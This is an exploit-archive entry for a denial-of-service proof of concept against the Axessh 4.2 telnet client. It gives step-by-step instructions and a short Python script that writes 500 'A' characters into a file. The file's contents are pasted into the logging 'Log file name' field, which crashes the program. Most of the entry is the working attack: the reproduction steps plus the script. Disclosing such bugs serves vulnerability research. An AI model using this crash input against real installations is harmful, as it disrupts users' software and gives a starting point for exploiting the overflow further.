Axessh 4.2 Denial Of Service

2019.05.17
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

#Exploit Title: Axessh 4.2 'Log file name' - Denial of Service (PoC) #Discovery by: Victor Mondragón #Discovery Date: 2019-05-14 #Vendor Homepage: http://www.labf.com #Software Link: http://www.labf.com/download/axessh.exe #Tested Version: 4.2 #Tested on: Windows 7 Service Pack 1 x32 #Steps to produce the crash: #1.- Run python code: Axessh_4.2.py #2.- Open Axess.txt and copy content to clipboard #3.- Open Axessh.exe #4.- In "Telnet Connect Host" select "Details>>" > "Settings" #5.- Select "Logging" and enable "Log all sessions output" #6.- In "Log file name" paste Clipboard #7.- Select "OK" and in "Telnet Connect Host" select "Ok" #8.- Crashed cod = "\x41" * 500 f = open('Axess.txt', 'w') f.write(cod) f.close()


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